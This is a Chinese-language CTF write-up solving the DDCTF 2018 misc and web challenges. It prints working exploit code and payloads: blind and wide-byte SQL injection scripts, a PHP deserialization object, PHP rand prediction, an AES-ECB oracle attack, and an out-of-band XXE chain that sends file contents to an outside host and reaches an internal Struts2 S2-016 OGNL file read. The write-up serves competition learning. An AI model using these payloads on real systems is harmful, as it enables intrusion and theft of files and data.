DDCTF 2018 WriteUp

  • DDCTF 2018 WriteUp已关闭评论
  • 5 views
  • A+
所属分类:CTF专场

前言

DDCTF 由 滴滴出行信息安全部 主办,属于个人闯关类型 CTF 比赛

比赛入口地址:http://ddctf.didichuxing.com/

这次比赛共 1601 人签到,个人解出 11 道题,排名第 3

0x01 Misc - 签到题

在比赛平台公告就能找到 Flag

Flag: DDCTF{echo"W3Lc0me_2_DiD1${PAAMAYIM_NEKUDOTAYIM}C7f!"}

0x02 Misc - (╯°□°)╯︵ ┻━┻

题目:d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd

观察字符串,发现每字节的高4位,用16进制表示都位于 a-f 之间。由此猜测是简单的 ASCII 偏移操作。

string = 'd4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd'
flag = ''
for i in range(len(string)/2):
    tmp = int(string[2*i:2*i+2], 16)
    tmp = tmp & 0b01111111
    flag += chr(tmp)
print flag

### That was fast! The flag is: DDCTF{922ab9974a47cd322cf43b50610faea5}

Flag: DDCTF{922ab9974a47cd322cf43b50610faea5}

0x03 Misc - 第四扩展FS

题目是一张图片,用 foremost 分析能得到一个压缩包,压缩包里有一个 file.txt 文件,需要密码才能解压,密码在图片详细信息的备注中可以找到。

根据题目的提示,分析文件中每个字符出现的频次,将频次倒序排列后得到如下结果:

'D': 3950
'C': 1900
'T': 1850
'F': 1800
'{': 1750
'h': 1700
'u': 1650
'a': 1600
'n': 1550
'w': 1500
'e': 1450
'1': 1400
's': 1350
'i': 1300
'k': 1250
'4': 1200
'o': 1150
'!': 1100
'}': 1050

Flag: DDCTF{huanwe1sik4o!}

0x04 Misc - 流量分析

题目是一个数据包,用 Wireshark 打开分析,找到几种可能有用的协议 ftp || ftp-data || smtp || imf || ssl ,依次进行分析。

DDCTF 2018 WriteUp

DDCTF 2018 WriteUp

DDCTF 2018 WriteUp

ftp || ftp-data 协议:有两个 zip 压缩包文件,可以用 追踪流 功能导出,导出后是损坏的文件,而且需要密码才能解压。查看 TCP 流可以看到一堆 TCP Previous segment not captured ,由此推测 TCP 传输过程中出了问题。

根据题目提示:

注意补齐私钥格式
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----

猜测重点应该是解密 Tlsv1.2 得到 http 明文流,解密通常需要 NSS Key Log Format 或者 服务端私钥 文件。

smtp || imf 协议:找到 8 封邮件,邮件内容使用 Quoted-Printable 编码。最后一封邮件的大致内容如下:

MAIL FROM:<[email protected]> SIZE=756962
RCPT TO:<xixi@didi-ctf2.com>
From: "=?UTF-8?B?5p2o552/?=(=?UTF-8?B?5L+h5oGv5a6J5YWo6YOo?=)" <zhangsan@didi-ctf2.com>
To: yangruiyangrui <zhangsan@didi-ctf2.com>

小张你好:
你好,请你将密钥安装到服务器上。谢谢

附件里有一张图片 image001.png ,导出得到图片:

DDCTF 2018 WriteUp

MII 开头使我想到 RSA 密钥,用在线 OCR 识别得到图片内的文字,手工检查得到的文字和图片是否一样,最后得到密钥:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

在 Wireshark 协议首选项的 RSA keys list 设置密钥后,就可以看到 http 明文流

DDCTF 2018 WriteUp

DDCTF 2018 WriteUp

Flag: DDCTF{b78575869625a1df49ffb970b6fedb6d}

0x05 Misc - 安全通信

题目如下:

#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random

def get_padding(rawstr):
    remainder = len(rawstr) % 16
    if remainder != 0:
        return 'x00' * (16 - remainder)
    return ''

def aes_encrypt(key, plaintext):
    plaintext += get_padding(plaintext)
    aes = AES.new(key, AES.MODE_ECB)
    cipher_text = aes.encrypt(plaintext).encode('hex')
    return cipher_text

def generate_hello(key, name, flag):
    message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
    return aes_encrypt(key, message)

def get_input():
    return raw_input()

def print_output(message):
    print(message)
    sys.stdout.flush()

def handle():
    print_output("Please enter mission key:")
    mission_key = get_input().rstrip()

    print_output("Please enter your Agent ID to secure communications:")
    agentid = get_input().rstrip()
    rnd = Random.new()
    session_key = rnd.read(16)

    flag = '<secret>'
    print_output(generate_hello(session_key, agentid, flag))
    while True:
        print_output("Please send some messages to be encrypted, 'quit' to exit:")
        msg = get_input().rstrip()
        if msg == 'quit':
            print_output("Bye!")
            break
        enc = aes_encrypt(session_key, msg)
        print_output(enc)

if __name__ == "__main__":
    handle()

get_paddingaes_encrypt 能够看出这是一个 AES ECB 256位分组加密

加密密钥是 16字节 随机生成,ECB 明文分组相同,对应的密文分组也相同。

由此可以通过改变 agentid 的长度,使 flag 中的字符依次落入前面已知的明文分组中,逐字节爆破。

贴出脚本:

from pwn import *
import string

LOG = False
flag = ''
mission_key = '********************************'
agent_id = ''

while True:
    r = remote('116.85.48.103', 5002)
    r.recvuntil('mission key:')
    r.sendline(mission_key)
    r.recvuntil('communications:')
    agent_id = 'a' * (13+16*8-len(flag))
    r.sendline(agent_id)
    r.recvline()
    enc = r.recvline().rstrip()[32*11:32*12]
    if LOG: print 'enc=%s' % enc
    for i in string.printable[:-5]:
        r.recvuntil('to exit:')
        message = 'Connection for mission: %s, your mission's flag is: %s' % (agent_id, flag + i)
        r.sendline(message[-16:])
        r.recvline()
        enc_tmp = r.recvline().rstrip()
        if LOG: print 'enc_tmp=%s' % enc_tmp
        if enc_tmp == enc:
            flag += i
            break
    r.close()
    if flag[-1:] == '}': break
    print 'flag=%s' % flag

print 'Flag: %s' % flag

### Flag: DDCTF{87fa2cd38a4259c29ab1af39995be81a}

Flag: DDCTF{87fa2cd38a4259c29ab1af39995be81a}

0x06 Web - 数据库的秘密

访问题目链接,有如下提示,看来做了访客来路白名单。

DDCTF 2018 WriteUp

使用 BurpSuite 修改 Header 插入 X-Forwarded-For: 123.232.23.245 ,就能够访问网页:

DDCTF 2018 WriteUp

DDCTF 2018 WriteUp

这是一个表单搜索页面,查看网页源代码,看到提交表单时还做了签名认证,具体实现代码在 static/main.js 里。

SQL 盲注,过滤了一些东西,比如 union ,那么可以逐字节爆破,直接贴脚本:

import time
import hashlib
import requests
import string

LOG = True
web_url = 'http://116.85.43.88:8080/****************/dfe3ia/index.php?sig=%s&time=%s'

def fuzz(text):
    key = 'adrefkfweodfsdpiru'

    obj_id = ''
    obj_title = ''
    obj_author = text
    obj_date = ''
    obj_time = time.time()

    sign = ''
    sign += 'id=%s' % obj_id
    sign += 'title=%s' % obj_title
    sign += 'author=%s' % obj_author
    sign += 'date=%s' % obj_date
    sign += 'time=%s' % obj_time
    sign += key
    sign = hashlib.sha1(sign).hexdigest()

    url = web_url % (sign, obj_time)
    payload = {'id': obj_id, 'title': obj_title, 'date': obj_date, 'author': obj_author, 'button': 'search'}
    headers = {'X-Forwarded-For': '123.232.23.245'}
    try:
        r = requests.post(url, params=payload, headers=headers)
        r.encoding = 'utf-8'
        if 'ctf title1' not in r.text: return True
    except:
        pass
    return False

def fuzz_table_name(offset):
    table_name = ''
    kw = string.printable[:62] + '-_'
    for i in range(1, 256):
        finish = 0
        for j in kw:
            payload = "admin' and strcmp(substring((select table_name from information_schema.tables limit %d,1),%d,1),0x%s)#" % (offset, i, j.encode('hex'))
            if fuzz(payload):
                table_name += j
                if LOG: print 'table_name: %s' % table_name
                finish = 1
                break
        if finish == 0: break
    print 'table_name: %s' % table_name

def fuzz_column_name(offset):
    column_name = ''
    kw = string.printable[:62] + '-_'
    for i in range(1, 256):
        finish = 0
        for j in kw:
            payload = "admin' and strcmp(substring((select column_name from information_schema.columns limit %d,1),%d,1),0x%s)#" % (offset, i, j.encode('hex'))
            if fuzz(payload):
                column_name += j
                if LOG: print 'column_name: %s' % column_name
                finish = 1
                break
        if finish == 0: break
    print 'column_name: %s' % column_name

def fuzz_field_value(table_name, column_name, offset):
    field_value = ''
    kw = string.printable
    for i in range(1, 256):
        finish = 0
        for j in kw:
            payload = "admin' and strcmp(substring((select %s from %s limit %d,1),%d,1),0x%s)#" % (column_name, table_name, offset, i, j.encode('hex'))
            if fuzz(payload):
                field_value += j
                if LOG: print 'field_value: %s' % field_value
                finish = 1
                break
        if finish == 0: break
    print 'field_value: %s' % field_value

'''
for i in range(512):
    fuzz_table_name(i)

for i in range(512):
    fuzz_column_name(i)

for i in range(512):
    fuzz_field_value(i)
'''

### offset: 28 table_name: ctf_key6
### offset: 29 table_name: message
### offset: 315 column_name: secvalue

fuzz_field_value('ctf_key6', 'secvalue', 0)

### field_value: ddctf{ymocqziblblyiefr}

Flag: DDCTF{YMOCQZIBLBLYIEFR}

0x07 Web - 专属链接

题目提示:网站采用 springmvc+mybatis 编写

查看网页源代码,发现两处关键点:

Line  13: <link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">
Line 287: <!--/flag/testflag/yourflag-->

一个是 Base64 编码路径的 任意文件下载 漏洞,另一个是测试 Flag 是否正确的接口

尝试访问 /flag/testflag/DDCTF%7Bxxxxx%7DHTTP 500 报错爆出路径 com.didichuxing.ctf.controller.user.FlagController

根据题目提示,下载 ../../WEB-INF/web.xml 文件,看到下面这个

Line 16-18:
    <!--<listener>-->
        <!--<listener-class>com.didichuxing.ctf.listener.InitListener</listener-class>-->
    <!--</listener>-->

下载 ../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class 文件 和 ../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class ,使用 jd-gui 反编译分析。

本题的大致思路,通过 /flag/getflag/ 获取加密的 Flag ,然后下载 ../../WEB-INF/classes/sdl.ks keystore 文件,使用公钥解密。

注:Flag 使用私钥加密,公钥解密。

想要获取加密的 Flag,需要将 Email 经过 SHA256 处理,然后 POST /flag/getflag/****************************************************************

贴一下生成代码:

import javax.crypto.spec.SecretKeySpec;
import javax.crypto.Mac;

public class GenerateEmail {
    public static void main(String[] args) {
        try {
            SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
            Mac mac = Mac.getInstance("HmacSHA256");
            mac.init(signingKey);
            String email = "*******************@didichuxing.com";
            byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
            System.out.println(byte2hex(e));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String byte2hex(byte[] b) {
        StringBuilder hs = new StringBuilder();
        for (int n = 0; (b != null) && (n < b.length); n++) {
            String stmp = Integer.toHexString(b[n] & 0xFF);
            if (stmp.length() == 1) {
                hs.append('0');
            }
            hs.append(stmp);
        }
        return hs.toString().toUpperCase();
    }
}

得到加密的 Flag:

Encrypted flag : 17AA1711B1EDE1058951AEB5C6B66B99656B1219C340DC6B6E8931288EF577FBD5ED14E4734793A079EE56EF3AC792AC78396EFAC2AA6A8C1A4ACD2416045754483853AD5EBC9A09D13638A27DBC6D21314FA61F6408927EAA536BAE5A193AD8FFB65E9C6CC578604BD3E5DA2E33A5AFF8B17AF658E889BAF516239BAD73077C5886163167F0B1799D661F4E1FD84A1A436B760C17D501FF65BF63A45C954216048699D1C4E4E7362712B4316043627566730D648C8E75964C84F5A605230AD051C50AAFEE0C2C60807FD57FBCA896D5B5CFC95A58E2C466FEC2028CB2FFE068FB4D6A65F191156E2AA0B79D2ED4721E5EB68DC9CD2B1280E4DE9A41B51D6FE5

然后用 keystore 文件解密,贴一下解密代码:

import java.io.FileInputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
import java.security.PublicKey;
import javax.crypto.Cipher;

public class DecryptFlag {
    public static void main(String[] args) {
        try {
            String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
            KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
            FileInputStream inputStream = new FileInputStream("sdl.ks");
            keyStore.load(inputStream, p.toCharArray());
            Certificate cert = keyStore.getCertificate("www.didichuxing.com");
            PublicKey publicKey = cert.getPublicKey();
            Cipher cipher = Cipher.getInstance(publicKey.getAlgorithm());
            cipher.init(Cipher.DECRYPT_MODE, publicKey);
            String enc_flag = "17AA1711B1EDE1058951AEB5C6B66B99656B1219C340DC6B6E8931288EF577FBD5ED14E4734793A079EE56EF3AC792AC78396EFAC2AA6A8C1A4ACD2416045754483853AD5EBC9A09D13638A27DBC6D21314FA61F6408927EAA536BAE5A193AD8FFB65E9C6CC578604BD3E5DA2E33A5AFF8B17AF658E889BAF516239BAD73077C5886163167F0B1799D661F4E1FD84A1A436B760C17D501FF65BF63A45C954216048699D1C4E4E7362712B4316043627566730D648C8E75964C84F5A605230AD051C50AAFEE0C2C60807FD57FBCA896D5B5CFC95A58E2C466FEC2028CB2FFE068FB4D6A65F191156E2AA0B79D2ED4721E5EB68DC9CD2B1280E4DE9A41B51D6FE5";
            byte[] flag = cipher.doFinal(hex2byte(enc_flag));
            System.out.println(byte2hex(flag));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String byte2hex(byte[] b) {
        StringBuilder hs = new StringBuilder();
        for (int n = 0; (b != null) && (n < b.length); n++) {
            String stmp = Integer.toHexString(b[n] & 0xFF);
            if (stmp.length() == 1) {
                hs.append('0');
            }
            hs.append(stmp);
        }
        return hs.toString().toUpperCase();
    }

    public static byte[] hex2byte(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }
}
// 44444354467B393131303134323239393834353437303437357D

Flag: DDCTF{9110142299845470475}

0x08 Web - 注入的奥妙

查看网页源代码,看到关键提示:

Line 107: <!--https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html--><div class="page-header">

提示:Big5 编码

想到宽字节注入,试了一下,发现服务器会把 UTF-8 编码转为 Big5 编码。

union 双写绕过

列表名和列名:well/getmessage/a俞%27%20ununionion%20select%201,convert(table_name%20using%20big5),convert(column_name%20using%20big5)%20from%20information_schema.columns%23

TABLE_NAME COLUMN_NAME
message id
message name
message contents
route_rules id
route_rules pattern
route_rules action
route_rules rulepass

route_rules 表:well/getmessage/a俞%27%20ununionion%20select%20rulepass,action,hehexx(pattern)%20from%20route_rules%23

RULEPASS ACTION HEX(PATTERN)
cd4229e671a8830debfcbb049a23399c Well#getmessage 6765742A2F3A752F77656C6C2F6765746D6573736167652F3A73
5ed16f9c7c27cb846eaf15c19fe40093 JustTry#self 6765742A2F3A752F6A7573747472792F73656C662F3A73
3228ad498d5a20d1d22d6a4a15fed4d2 JustTry#try 706F73742A2F3A752F6A7573747472792F747279
NULL static/bootstrap/css/backup.zip 7374617469632F626F6F7473747261702F6373732F6261636B75702E637373

下载源码:/static/bootstrap/css/backup.zip

代码审计,在 Justtry.php 处找到一个 PHP 反序列化漏洞。

构造 payload ,POST 到 /justtry/try/,即可得到 Flag。

payload=O%3a17%3a%22Index%5cHelper%5cTest%22%3a2%3a%7bs%3a9%3a%22user_uuid%22%3bs%3a36%3a%224d3f27d9-172e-48b4-96d9-fa7c002537fd%22%3bs%3a2%3a%22fl%22%3bO%3a17%3a%22Index%5cHelper%5cFlag%22%3a2%3a%7bs%3a3%3a%22sql%22%3bO%3a16%3a%22Index%5cHelper%5cSQL%22%3a2%3a%7bs%3a3%3a%22dbc%22%3bN%3bs%3a3%3a%22pdo%22%3bN%3b%7d%7d%7d

Flag: DDCTF{2512c756f6636cb19462bf83fb0f2f0e75e3187363b391484e6ffcc166f8b4c6}

0x09 Web - mini blockchain

这题是考察区块链安全

get_balance_of_all 是从 max(block_height) 开始遍历到 genesis_block,计算总 balance

那么可以产生支链,达到“覆盖”旧链的目的。

还有一点,访问 /create_transaction 创建新块,区块难度为 DIFFICULTY = int('00000' + 'f' * 59, 16) ,那么需要计算 block_hash 直至小于难度,这就是 Proof-of-Work

贴上 生成转账区块 和 空区块 的代码:

import hashlib, json, rsa, uuid
import string, random

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'): hexed = hexed[:-1]
    if hexed.startswith('0x'): hexed = hexed[2:]
    return hexed

def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block

def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])

def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos

def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False

KEY_LEN = 20

def base_str():
    return (string.letters+string.digits)

def key_gen():
    keylist = [random.choice(base_str()) for i in range(KEY_LEN)]
    return ("".join(keylist))

difficulty = int('00000' + 'f' * 59, 16)

def create_transfer_block(output_address, amount, signature, prev_block_hash):
    tmp_privkey = gen_addr_key_pair()[1]

    handout = create_output_utxo(output_address, amount)
    transferred = create_tx([str(uuid.uuid4())], [handout], tmp_privkey)

    transferred['signature'][0] = signature

    while True:
        new_block = create_block(prev_hash, key_gen(), [transferred])
        block_hash = int(new_block['hash'], 16)
        if block_hash <= difficulty:
            print json.dumps(new_block)
            break

def create_empty_block(prev_block_hash):
    while True:
        new_block = create_block(prev_block, key_gen(), [])
        block_hash = int(new_block['hash'], 16)
        if block_hash <= difficulty:
            print json.dumps(new_block)
            break

#my_address, my_privkey = gen_addr_key_pair()
#create_transfer_block(output_address, amount, signature, prev_block_hash)
#create_empty_block(prev_block_hash)

DDCTF 2018 WriteUp

Flag: DDCTF{[email protected]_15_FuN_e0faaf35891}

0x0A Web - 我的博客

根据题目提示,下载源代码:www.tar.gz

审计代码,发现跟之前玩 LCTF 2017 的题目有点相似,那道题我还有些印象。

不过这道题改动了,需要通过 csrf 生成的随机数,预测后面生成的随机字符串。

直接贴计算和注册的脚本:

import requests
import random, string

session = requests.session()
url = 'http://116.85.39.110:5032/********************************/register.php'

rand = []

def getRand():
    r = session.get(url)
    r.encoding = 'utf-8'
    return int(r.text.split('csrf" value="')[1].split('"')[0])

def guessRand(i):
    return (rand[i-3] + rand[i-31]) % (2 ** 31)

PHP_RAND_MAX = 2147483647

def RAND_RANGE(n, _min, _max, tmax):
    return _min + int((_max - _min + 1.0) * (n / (tmax + 1.0)))

def guessStr(i):
    temp = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
    n_left = len(temp) - 1
    while n_left > 0:
        temp_rand = RAND_RANGE(rand[i], 0, n_left, PHP_RAND_MAX)
        if temp_rand != n_left:
            temp[n_left], temp[temp_rand] = temp[temp_rand], temp[n_left]
        i += 1
        n_left -= 1
    return ''.join(temp)

def register(csrf, username, password, code):
    payload = {'csrf': csrf, 'username': username, 'password': password, 'code': code}
    r = session.post(url, data=payload)
    r.encoding = 'utf-8'
    return r.text

def random_str(i):
    return ''.join(random.choice(string.ascii_letters + string.digits) for x in range(i))

for i in range(32):
    rand.append(getRand())

for i in range(32, 128):
    rand.append(guessRand(i))

csrf = str(rand[31])
username = random_str(8)
password = random_str(16)
code = 'admin###%s' % guessStr(32)[:32]

register(csrf, username, password, code)
print 'username: %s' % username
print 'password: %s' % password

登录进去后,就是一个 sprintf 单引号逃逸 漏洞。

index.php?id=1&title=Welcome%1$%27%20union%20select%201,2,f14g%20from%20%60key%60%20limit%200,1%23

DDCTF 2018 WriteUp

Flag: DDCTF{2711a857f9c6df15661c5ab6f8d4cff3}

0x0B Web - 喝杯Java冷静下

题目环境:Quick4j

查看网页源代码,找到登录的用户名和密码(admin: admin_password_2333_caicaikan)

Line 87: <!-- YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu -->

登录进去发现跟 Web2 差不多,也是 任意文件下载 漏洞。

对比 Github 上 Quick4j 的源代码文件路径,把所有代码文件对应的下载下来,与原来的代码进行比较。

找到关键文件,进行反编译:

/rest/user/getInfomation?filename=WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class

    if ((username.equals("superadmin_hahaha_2333")) && (password.hashCode() == 0))
    {
      String wonderful = "you are wonderful,boy~";
      System.err.println(wonderful);
    }

找到超级管理员用户名和密码(superadmin_hahaha_2333: f5a5a608)

/rest/user/getInfomation?filename=WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class

  @RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"super_admin"})

这里以超级管理员身份,可以实现 XML 外部实体注入 漏洞。

但是这里的注入没有回显,那只能用反弹实现回显了。

服务器部署 1.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://222.125.86.10:23946/%file;'>">

服务器监听端口:

nc -l -p 23946

Payload 示例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "">
<!ENTITY % dtd SYSTEM "http://222.125.86.10/1.xml">
%dtd; %all;
]>
<value>&send;</value>

读取 /Flag/hint.txt 文件:

/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22file%3a%2f%2f%2fflag%2fhint.txt%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e

DDCTF 2018 WriteUp

Flag in intranet tomcat_2 server 8080 port.

访问 http://tomcat_2:8080/

/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2f%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e

DDCTF 2018 WriteUp

try to visit hello.action.

访问 http://tomcat_2:8080/hello.action

/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2fhello.action%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e

DDCTF 2018 WriteUp

This is Struts2 Demo APP, try to read /flag/flag.txt.

根据题目提示:第二层关卡应用版本号为 2.3.1

上网查了一下 Struts2 2.3.1CVE ,发现 Struts2 S2-016 可用

直接贴上最终 Payload:

/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2fhello.action%3fredirect%253a%2524%257b%2523a%253dnew%2bjava.io.FileInputStream(%2527%252fflag%252fflag.txt%2527)%252c%2523b%253dnew%2bjava.io.InputStreamReader(%2523a)%252c%2523c%253dnew%2bjava.io.BufferedReader(%2523b)%252c%2523d%253dnew%2bchar%255b60%255d%252c%2523c.read(%2523d)%252c%2523matt%253d%2523context.get(%2527com.opensymphony.xwork2.dispatcher.HttpServletResponse%2527).getWriter()%252c%2523matt.println(%2523d)%252c%2523matt.flush()%252c%2523matt.close()%257d%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e

DDCTF 2018 WriteUp

Flag: DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb}

相关推荐: CTF选手如何变PWN

如何加入网安讲堂01特聘讲师招募在网安分享与教学服务这条路上,我们希望我们能营造一个环境:即“所有人向所有人学习,所有人支持所有人成长”。如果您认可我们的初衷,想要支持更多的网安新人们的成长,那么,欢迎各位大佬扫描文末二维码备注“技能分享”加入我们,为大家分享…